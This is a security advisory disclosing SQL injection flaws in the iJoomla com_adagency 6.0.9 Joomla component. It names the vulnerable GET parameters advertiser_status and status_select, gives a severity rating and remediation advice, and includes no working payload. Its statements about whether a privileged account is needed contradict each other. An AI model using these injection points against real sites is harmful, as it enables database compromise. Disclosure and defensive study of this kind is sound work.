(Copy of the Vendor Homepage: https://adagency.ijoomla.com/) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered multiple remote sql-injection vulnerabilities in the iJoomla (Joomla) com_adagency 6.0.9 component. Vulnerability Disclosure Timeline: ================================== 2018-01-04: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== iJoomla Product: com_adagency - Component (Joomla) 6.0.9 Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ Multiple remote sql-injection vulnerabilities has been discovered in the official iJoomla com_adagency v6.0.9 content management system component. The sql-injection vulnerability allows remote attackers to inject own sql commands to compromise the database management system or web-application. The sql-injection vulnerabilities are located in the `advertiser_status` and `status_select` parameters of the `com_adagency` component module. Remote attackers are able to perform malicious GET method request to execute sql command via vulnerable parameters. Remote attackers can trigger the issue depending on the access privileges with a restricted or unauthenticated user account. The vulnerability is a classic remote select sql injection vulnerability in the `com_adagency` component module. The security risk of the sql-injection vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.1. Exploitation of the remote sql injection web vulnerability requires no user interaction or privileged web-application user account. Successful exploitation of the remote sql injection results in database management system, web-server and web-application compromise. Request Method(s): [+] GET Vulnerable Module(s): [+] com_adagency Vulnerable File(s): [+] index.php Vulnerable Parameter(s): [+] advertiser_status [+] status_select Proof of Concept (PoC): ======================= The remote sql-injection web vulnerabilities can be exploited by remote attackers with privileged web-application user account and without user interaction.

Disallow the usage of special chars, escape the entries and use a prepared statement to prevent exploitation of the vulnerabilities. Note: The vulnerability has been resolved in the last com_adagency component updates in 2017 Q1-4. Security Risk: ============== The security risk of the remote sql injection web vulnerabilities in the com_adagency 6.0.9 joomla component is estimated as high (CVSS 7.1).
